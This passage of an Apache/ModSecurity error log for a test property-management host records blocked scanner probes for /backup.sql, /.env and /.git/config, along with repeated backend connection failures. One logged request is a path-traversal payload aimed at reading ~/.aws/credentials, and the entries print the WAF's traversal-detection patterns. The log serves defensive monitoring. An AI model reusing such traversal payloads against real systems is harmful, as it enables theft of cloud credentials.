&quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aROCEJBAYZy5YS2tcjmeWQAAABU&quot;]
[Tue Nov 11 19:36:00.033684 2025] [:error] [pid 4182225] [client 62.60.131.162:65195] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aROCEJBAYZy5YS2tcjmeWQAAABU&quot;]
[Tue Nov 11 19:36:00.033848 2025] [:error] [pid 4182225] [client 62.60.131.162:65195] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aROCEJBAYZy5YS2tcjmeWQAAABU&quot;]
[Tue Nov 11 19:36:00.059023 2025] [:error] [pid 4187672] [client 62.60.131.162:65201] [client 62.60.131.162] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aROCEP9n1sJ-njZs70xwnAAAAAU&quot;]
[Tue Nov 11 19:36:00.059083 2025] [:error] [pid 4187672] [client 62.60.131.162:65201] [client 62.60.131.162] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aROCEP9n1sJ-njZs70xwnAAAAAU&quot;]
[Tue Nov 11 19:36:00.059130 2025] [:error] [pid 4187672] [client 62.60.131.162:65201] [client 62.60.131.162] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aROCEP9n1sJ-njZs70xwnAAAAAU&quot;]
[Tue Nov 11 19:36:00.059764 2025] [:error] [pid 4187672] [client 62.60.131.162:65201] [client 62.60.131.162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aROCEP9n1sJ-njZs70xwnAAAAAU&quot;]
[Tue Nov 11 19:36:00.059911 2025] [:error] [pid 4187672] [client 62.60.131.162:65201] [client 62.60.131.162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aROCEP9n1sJ-njZs70xwnAAAAAU&quot;]
[Sun Nov 16 09:53:42.596679 2025] [:error] [pid 107821] [client 204.76.203.25:32970] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRmRFp3H3z4ovC1MpeQmbgAAAA0&quot;]
[Sun Nov 16 09:53:42.596965 2025] [:error] [pid 107821] [client 204.76.203.25:32970] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRmRFp3H3z4ovC1MpeQmbgAAAA0&quot;]
[Sun Nov 16 09:53:42.597138 2025] [:error] [pid 107821] [client 204.76.203.25:32970] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRmRFp3H3z4ovC1MpeQmbgAAAA0&quot;]
[Mon Nov 17 15:13:39.653964 2025] [proxy:error] [pid 135562] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Mon Nov 17 15:13:39.654005 2025] [proxy_http:error] [pid 135562] [client 176.200.23.179:49017] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Mon Nov 17 15:14:06.007001 2025] [proxy:error] [pid 128652] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Mon Nov 17 15:14:06.007051 2025] [proxy_http:error] [pid 128652] [client 176.200.23.179:49018] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Mon Nov 17 15:14:20.696687 2025] [proxy:error] [pid 128649] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Mon Nov 17 15:14:20.696727 2025] [proxy_http:error] [pid 128649] [client 176.200.23.179:49019] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Mon Nov 17 15:14:28.837868 2025] [proxy:error] [pid 128666] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Mon Nov 17 15:14:28.837898 2025] [proxy_http:error] [pid 128666] [client 176.200.23.179:49022] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Mon Nov 17 18:43:20.355033 2025] [:error] [pid 140653] [client 34.172.109.36:35300] [client 34.172.109.36] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRteuBaXTKYzaW2l3eBTcAAAADc&quot;]
[Mon Nov 17 18:43:20.356330 2025] [:error] [pid 140653] [client 34.172.109.36:35300] [client 34.172.109.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRteuBaXTKYzaW2l3eBTcAAAADc&quot;]
[Mon Nov 17 18:43:20.356483 2025] [:error] [pid 140653] [client 34.172.109.36:35300] [client 34.172.109.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aRteuBaXTKYzaW2l3eBTcAAAADc&quot;]
[Tue Nov 18 11:06:44.537837 2025] [proxy:error] [pid 160906] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Tue Nov 18 11:06:44.537881 2025] [proxy_http:error] [pid 160906] [client 176.200.23.179:49289] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Tue Nov 18 15:20:11.784262 2025] [proxy:error] [pid 166224] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Tue Nov 18 15:20:11.784305 2025] [proxy_http:error] [pid 166224] [client 176.200.23.179:48682] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Tue Nov 18 15:20:26.784965 2025] [proxy:error] [pid 160906] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Tue Nov 18 15:20:26.784994 2025] [proxy_http:error] [pid 160906] [client 176.200.23.179:48683] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Tue Nov 18 15:20:33.455523 2025] [proxy:error] [pid 166202] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Tue Nov 18 15:20:33.455557 2025] [proxy_http:error] [pid 166202] [client 176.200.23.179:48684] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Tue Nov 18 15:55:21.375063 2025] [proxy:error] [pid 163656] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Tue Nov 18 15:55:21.375108 2025] [proxy_http:error] [pid 163656] [client 176.200.23.179:48722] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Tue Nov 18 15:55:47.685704 2025] [proxy:error] [pid 166221] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Tue Nov 18 15:55:47.685739 2025] [proxy_http:error] [pid 166221] [client 176.200.23.179:48723] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Wed Nov 19 11:34:32.542521 2025] [proxy:error] [pid 179983] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Wed Nov 19 11:34:32.542560 2025] [proxy_http:error] [pid 179983] [client 87.11.27.29:60128] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Wed Nov 19 11:34:32.544499 2025] [proxy:error] [pid 179166] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Wed Nov 19 11:34:32.544516 2025] [proxy_http:error] [pid 179166] [client 87.11.27.29:60129] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Wed Nov 19 11:37:14.353781 2025] [proxy:error] [pid 178792] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Wed Nov 19 11:37:14.353814 2025] [proxy_http:error] [pid 178792] [client 87.11.27.29:49165] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Wed Nov 19 11:37:14.390583 2025] [proxy:error] [pid 184362] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Wed Nov 19 11:37:14.390616 2025] [proxy_http:error] [pid 184362] [client 87.11.27.29:49164] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Wed Nov 19 11:38:45.770602 2025] [proxy:error] [pid 179166] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Wed Nov 19 11:38:45.770634 2025] [proxy_http:error] [pid 179166] [client 87.11.27.29:54571] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Wed Nov 19 11:38:45.774517 2025] [proxy:error] [pid 179983] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3005 (127.0.0.1:3005) failed
[Wed Nov 19 11:38:45.774535 2025] [proxy_http:error] [pid 179983] [client 87.11.27.29:54572] AH01114: HTTP: failed to make connection to backend: 127.0.0.1
[Mon Nov 24 05:15:57.467711 2025] [:error] [pid 289434] [client 195.178.110.223:39426] [client 195.178.110.223] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSPb_Ukegqg-SpMlpG6ZbAAAAAU&quot;]
[Mon Nov 24 05:15:57.468687 2025] [:error] [pid 289434] [client 195.178.110.223:39426] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSPb_Ukegqg-SpMlpG6ZbAAAAAU&quot;]
[Mon Nov 24 05:15:57.468882 2025] [:error] [pid 289434] [client 195.178.110.223:39426] [client 195.178.110.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSPb_Ukegqg-SpMlpG6ZbAAAAAU&quot;]
[Mon Nov 24 10:42:30.312154 2025] [:error] [pid 289420] [client 65.0.122.37:50172] [client 65.0.122.37] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSQohtYYOaaNfnpwja-OEwAAAAE&quot;]
[Mon Nov 24 10:42:30.312516 2025] [:error] [pid 289420] [client 65.0.122.37:50172] [client 65.0.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSQohtYYOaaNfnpwja-OEwAAAAE&quot;]
[Mon Nov 24 10:42:30.313212 2025] [:error] [pid 289420] [client 65.0.122.37:50172] [client 65.0.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSQohtYYOaaNfnpwja-OEwAAAAE&quot;]
[Mon Nov 24 11:27:37.397464 2025] [:error] [pid 289421] [client 65.0.122.37:55172] [client 65.0.122.37] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSQzGcL1iBXL_RQpp4IGGgAAAAI&quot;]
[Mon Nov 24 11:27:37.397720 2025] [:error] [pid 289421] [client 65.0.122.37:55172] [client 65.0.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSQzGcL1iBXL_RQpp4IGGgAAAAI&quot;]
[Mon Nov 24 11:27:37.397919 2025] [:error] [pid 289421] [client 65.0.122.37:55172] [client 65.0.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSQzGcL1iBXL_RQpp4IGGgAAAAI&quot;]
[Mon Nov 24 14:21:10.157601 2025] [:error] [pid 289421] [client 45.144.212.58:39702] [client 45.144.212.58] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSRbxsL1iBXL_RQpp4IGQQAAAAI&quot;]
[Mon Nov 24 14:21:10.157922 2025] [:error] [pid 289421] [client 45.144.212.58:39702] [client 45.144.212.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSRbxsL1iBXL_RQpp4IGQQAAAAI&quot;]
[Mon Nov 24 14:21:10.158109 2025] [:error] [pid 289421] [client 45.144.212.58:39702] [client 45.144.212.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSRbxsL1iBXL_RQpp4IGQQAAAAI&quot;]
[Wed Nov 26 10:20:08.297757 2025] [:error] [pid 336734] [client 162.158.87.188:13598] [client 162.158.87.188] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSbGSMVzR697olltB6JkmwAAAA8&quot;]
